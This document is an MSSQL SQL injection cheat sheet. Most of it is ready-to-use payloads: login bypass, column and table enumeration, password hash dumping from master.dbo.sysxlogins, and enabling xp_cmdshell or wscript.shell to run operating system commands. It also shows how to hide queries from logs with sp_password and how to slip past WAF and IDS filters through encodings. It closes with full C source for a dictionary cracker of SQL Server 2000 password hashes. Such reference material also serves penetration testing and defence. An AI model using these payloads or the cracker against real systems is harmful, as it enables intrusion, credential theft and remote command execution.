MSSQL
Default Databases
pubs | Not available on MSSQL 2005 |
model | Available in all versions |
msdb | Available in all versions |
tempdb | Available in all versions |
northwind | Available in all versions |
information_schema | Availalble from MSSQL 2000 and higher |
Comment Out Query
The following can be used to comment out the rest of the query after your injection:
/* | C-style comment |
— | SQL comment |
;%00 | Nullbyte |
Example:
- SELECT * FROM Users WHERE username = ” OR 1=1 —‘ AND password = ”;
- SELECT * FROM Users WHERE id = ” UNION SELECT 1, 2, 3/*‘;
Testing Version
- @@VERSION
Example:
- True if MSSQL version is 2008.
- SELECT * FROM Users WHERE id = ‘1’ AND @@VERSION LIKE ‘%2008%’;
Note:
- Output will also contain the version of the Windows Operating System.
Database Credentials
Database..Table | master..syslogins, master..sysprocesses |
Columns | name, loginame |
Current User | user, system_user, suser_sname(), is_srvrolemember(‘sysadmin’) |
Database Credentials | SELECT user, password FROM master.dbo.sysxlogins |
Example:
- Return current user:
- SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;
- Check if user is admin:
- SELECT (CASE WHEN (IS_SRVROLEMEMBER(‘sysadmin’)=1) THEN ‘1’ ELSE ‘0’ END);
Database Names
Database.Table | master..sysdatabases |
Column | name |
Current DB | DB_NAME(i) |
Examples:
- SELECT DB_NAME(5);
- SELECT name FROM master..sysdatabases;
Server Hostname
@@SERVERNAME |
SERVERPROPERTY() |
Examples:
- SELECT SERVERPROPERTY(‘productversion’), SERVERPROPERTY(‘productlevel’), SERVERPROPERTY(‘edition’);
Note:
- SERVERPROPERTY() is available from MSSQL 2005 and higher.
Tables and Columns
Determining number of columns
ORDER BY n+1;
Example:
Given the query: SELECT username, password, permission FROM Users WHERE id = '1';
1′ ORDER BY 1– | True |
1′ ORDER BY 2– | True |
1′ ORDER BY 3– | True |
1′ ORDER BY 4– | False – Query is only using 3 columns |
-1′ UNION SELECT 1,2,3– | True |
Note:
- Keep incrementing the number until you get a False response.
The following can be used to get the columns in the current query.
GROUP BY / HAVING
Example:
Given the query: SELECT username, password, permission FROM Users WHERE id = '1';
1′ HAVING 1=1– | Column ‘Users.username’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. |
1′ GROUP BY username HAVING 1=1– | Column ‘Users.password’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. |
1′ GROUP BY username, password HAVING 1=1– | Column ‘Users.permission’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. |
1′ GROUP BY username, password, permission HAVING 1=1– | No Error |
Note:
- No error will be returned once all columns have been included.
Retrieving Tables
We can retrieve the tables from two different databases, information_schema.tables or from master..sysobjects.
UNION SELECT name FROM master..sysobjects WHERE xtype=’U’ |
Note:
- Xtype = ‘U’ is for User-defined tables. You can use ‘V’ for views.
Retrieving Columns
We can retrieve the columns from two different databases, information_schema.columns or masters..syscolumns.
UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = ‘tablename’) |
Retrieving Multiple Tables/Columns at once
The following 3 queries will create a temporary table/column and insert all the user-defined tables into it. It will then dump the table content and finish by deleting the table.
- Create Temp Table/Column and Insert Data:
- AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=’:’ SELECT @xy=@xy+’ ‘+name FROM sysobjects WHERE xtype=’U’ AND name>@xy SELECT @xy AS xy INTO TMP_DB END;
- Dump Content:
- AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);
- Delete Table:
- AND 1=0; DROP TABLE TMP_DB;
An easier method is available starting with MSSQL 2005 and higher. The XML function path() works as a concatenator, allowing the retrieval of all tables with 1 query.
SELECT table_name %2b ‘, ‘ FROM information_schema.tables FOR XML PATH(”) | SQL Server 2005+ |
Note:
- You can encode your query in hex to “obfuscate” your attack.
- ‘ AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);–
Avoiding the use of quotations
SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110) |
String Concatenation
SELECT CONCAT(‘a’,’a’,’a’); (SQL SERVER 2012) |
SELECT ‘a’+’d’+’mi’+’n’; |
Conditional Statements
IF |
CASE |
Examples:
- IF 1=1 SELECT ‘true’ ELSE SELECT ‘false’;
- SELECT CASE WHEN 1=1 THEN true ELSE false END;
Note:
- IF cannot be used inside a SELECT statement.
Timing
- WAITFOR DELAY ‘time_to_pass’;
- WAITFOR TIME ‘time_to_execute’;
Example:
- IF 1=1 WAITFOR DELAY ‘0:0:5’ ELSE WAITFOR DELAY ‘0:0:0’;
OPENROWSET Attacks
SELECT * FROM OPENROWSET(‘SQLOLEDB’, ‘127.0.0.1’;’sa’;’p4ssw0rd’, ‘SET FMTONLY OFF execute master..xp_cmdshell “dir”‘); |
System Command Execution
Include an extended stored procedure named xp_cmdshell that can be used to execute operating system commands.
- EXEC master.dbo.xp_cmdshell ‘cmd’;
Starting with version MSSQL 2005 and higher, xp_cmdshell is disabled by default, but can be activated with the following queries:
EXEC sp_configure ‘show advanced options’, 1 |
EXEC sp_configure reconfigure |
EXEC sp_configure ‘xp_cmdshell’, 1 |
EXEC sp_configure reconfigure |
Alternatively, you can create your own procedure to achieve the same results:
DECLARE @execmd INT |
EXEC SP_OACREATE ‘wscript.shell’, @execmd OUTPUT |
EXEC SP_OAMETHOD @execmd, ‘run’, null, ‘%systemroot%\system32\cmd.exe /c’ |
If the SQL version is higher than 2000, you will have to run additional queries in order the execute the previous command:
EXEC sp_configure ‘show advanced options’, 1 |
EXEC sp_configure reconfigure |
EXEC sp_configure ‘OLE Automation Procedures’, 1 |
EXEC sp_configure reconfigure |
Example:
- Checks to see if xp_cmdshell is loaded, if it is, it checks if it is active and then proceeds to run the ‘dir’ command and inserts the results into TMP_DB:
- ‘ IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME=’TMP_DB’) DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]’) AND OBJECTPROPERTY (id, N’IsExtendedProc’) = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure ‘xp_cmdshell’ IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell ‘dir’ SELECT @a=” SELECT @a=Replace(@a%2B'<br></font><font color=”black”>’%2Bdir,'<dir>’,'</font><font color=”orange”>’) FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a=’xp_cmdshell not enabled’ DROP TABLE %23xp_cmdshell END ELSE SELECT @a=’xp_cmdshell not found’ SELECT @a AS tbl INTO TMP_DB–
- Dump Content:
- ‘ UNION SELECT tbl FROM TMP_DB–
- Delete Table:
- ‘ DROP TABLE TMP_DB–
SP_PASSWORD (Hiding Query)
Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure.
- SP_PASSWORD
Example:
- ‘ AND 1=1–sp_password
Output:
-- 'sp_password' was found in the text of this event. -- The text has been replaced with this comment for security reasons.
Stacked Queries
MSSQL supports stacked queries.
Example:
- ‘ AND 1=0 INSERT INTO ([column1], [column2]) VALUES (‘value1’, ‘value2’);
Fuzzing and Obfuscation
Allowed Intermediary Characters
The following characters can be used as whitespaces.
01 | Start of Heading |
02 | Start of Text |
03 | End of Text |
04 | End of Transmission |
05 | Enquiry |
06 | Acknowledge |
07 | Bell |
08 | Backspace |
09 | Horizontal Tab |
0A | New Line |
0B | Vertical Tab |
0C | New Page |
0D | Carriage Return |
0E | Shift Out |
0F | Shift In |
10 | Data Link Escape |
11 | Device Control 1 |
12 | Device Control 2 |
13 | Device Control 3 |
14 | Device Control 4 |
15 | Negative Acknowledge |
16 | Synchronous Idle |
17 | End of Transmission Block |
18 | Cancel |
19 | End of Medium |
1A | Substitute |
1B | Escape |
1C | File Separator |
1D | Group Separator |
1E | Record Separator |
1F | Unit Separator |
20 | Space |
25 | % |
Examples:
- S%E%L%E%C%T%01column%02FROM%03table;
- A%%ND 1=%%%%%%%%1;
Note:
- The percentage signs in between keywords is only possible on ASP(x) web applications.
The following characters can be also used to avoid the use of spaces.
22 | “ |
28 | ( |
29 | ) |
5B | [ |
5D | ] |
Examples:
- UNION(SELECT(column)FROM(table));
- SELECT“table_name“FROM[information_schema].[tables];
Allowed Intermediary Characters after AND/OR
01 – 20 | Range |
21 | ! |
2B | + |
2D | – |
2E | . |
5C | \ |
7E | ~ |
Example:
- SELECT 1FROM[table]WHERE\1=\1AND\1=\1;
Note:
- The backslash does not seem to work with MSSQL 2000.
Encodings
Encoding your injection can sometimes be useful for WAF/IDS evasion.
URL Encoding | SELECT %74able_%6eame FROM information_schema.tables; |
Double URL Encoding | SELECT %2574able_%256eame FROM information_schema.tables; |
Unicode Encoding | SELECT %u0074able_%u6eame FROM information_schema.tables; |
Invalid Hex Encoding (ASP) | SELECT %tab%le_%na%me FROM information_schema.tables; |
Hex Encoding | ‘ AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);– |
HTML Entities (Needs to be verified) | %26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B |
Password Hashing
Passwords begin with 0x0100, the first for bytes following the 0x are a constant; the next eight bytes are the hash salt and the remaining 80 bytes are two hashes, the first 40 bytes are a case-sensitive hash of the password, while the second 40 bytes are the uppercase version.
0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457 |
Password Cracking
A Metasploit module for JTR can be found here.
MSSQL 2000 Password Cracker
This tool is designed to crack Microsoft SQL Server 2000 passwords.
///////////////////////////////////////////////////////////////////////////////// // // SQLCrackCl // // This will perform a dictionary attack against the // upper-cased hash for a password. Once this // has been discovered try all case variant to work // out the case sensitive password. // // This code was written by David Litchfield to // demonstrate how Microsoft SQL Server 2000 // passwords can be attacked. This can be // optimized considerably by not using the CryptoAPI. // // (Compile with VC++ and link with advapi32.lib // Ensure the Platform SDK has been installed, too!) // ////////////////////////////////////////////////////////////////////////////////// #include <stdio.h> #include <windows.h> #include <wincrypt.h> FILE *fd=NULL; char *lerr = "\nLength Error!\n"; int wd=0; int OpenPasswordFile(char *pwdfile); int CrackPassword(char *hash); int main(int argc, char *argv[]) { int err = 0; if(argc !=3) { printf("\n\n*** SQLCrack *** \n\n"); printf("C:\\>%s hash passwd-file\n\n",argv[0]); printf("David Litchfield (david@ngssoftware.com)\n"); printf("24th June 2002\n"); return 0; } err = OpenPasswordFile(argv[2]); if(err !=0) { return printf("\nThere was an error opening the password file %s\n",argv[2]); } err = CrackPassword(argv[1]); fclose(fd); printf("\n\n%d",wd); return 0; } int OpenPasswordFile(char *pwdfile) { fd = fopen(pwdfile,"r"); if(fd) return 0; else return 1; } int CrackPassword(char *hash) { char phash[100]=""; char pheader[8]=""; char pkey[12]=""; char pnorm[44]=""; char pucase[44]=""; char pucfirst[8]=""; char wttf[44]=""; char uwttf[100]=""; char *wp=NULL; char *ptr=NULL; int cnt = 0; int count = 0; unsigned int key=0; unsigned int t=0; unsigned int address = 0; unsigned char cmp=0; unsigned char x=0; HCRYPTPROV hProv=0; HCRYPTHASH hHash; DWORD hl=100; unsigned char szhash[100]=""; int len=0; if(strlen(hash) !=94) { return printf("\nThe password hash is too short!\n"); } if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X')) { hash = hash + 2; strncpy(pheader,hash,4); printf("\nHeader\t\t: %s",pheader); if(strlen(pheader)!=4) return printf("%s",lerr); hash = hash + 4; strncpy(pkey,hash,8); printf("\nRand key\t: %s",pkey); if(strlen(pkey)!=8) return printf("%s",lerr); hash = hash + 8; strncpy(pnorm,hash,40); printf("\nNormal\t\t: %s",pnorm); if(strlen(pnorm)!=40) return printf("%s",lerr); hash = hash + 40; strncpy(pucase,hash,40); printf("\nUpper Case\t: %s",pucase); if(strlen(pucase)!=40) return printf("%s",lerr); strncpy(pucfirst,pucase,2); sscanf(pucfirst,"%x",&cmp); } else { return printf("The password hash has an invalid format!\n"); } printf("\n\n Trying...\n"); if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0)) { if(GetLastError()==NTE_BAD_KEYSET) { // KeySet does not exist. So create a new keyset if(!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_NEWKEYSET )) { printf("FAILLLLLLL!!!"); return FALSE; } } } while(1) { // get a word to try from the file ZeroMemory(wttf,44); if(!fgets(wttf,40,fd)) return printf("\nEnd of password file. Didn't find the password.\n"); wd++; len = strlen(wttf); wttf[len-1]=0x00; ZeroMemory(uwttf,84); // Convert the word to UNICODE while(count < len) { uwttf[cnt]=wttf[count]; cnt++; uwttf[cnt]=0x00; count++; cnt++; } len --; wp = &uwttf; sscanf(pkey,"%x",&key); cnt = cnt - 2; // Append the random stuff to the end of // the uppercase unicode password t = key >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 8; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 16; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 24; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; // Create the hash if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash)) { printf("Error %x during CryptCreatHash!\n", GetLastError()); return 0; } if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0)) { printf("Error %x during CryptHashData!\n", GetLastError()); return FALSE; } CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0); // Test the first byte only. Much quicker. if(szhash[0] == cmp) { // If first byte matches try the rest ptr = pucase; cnt = 1; while(cnt < 20) { ptr = ptr + 2; strncpy(pucfirst,ptr,2); sscanf(pucfirst,"%x",&cmp); if(szhash[cnt]==cmp) cnt ++; else { break; } } if(cnt == 20) { // We've found the password printf("\nA MATCH!!! Password is %s\n",wttf); return 0; } } count = 0; cnt=0; } return 0; }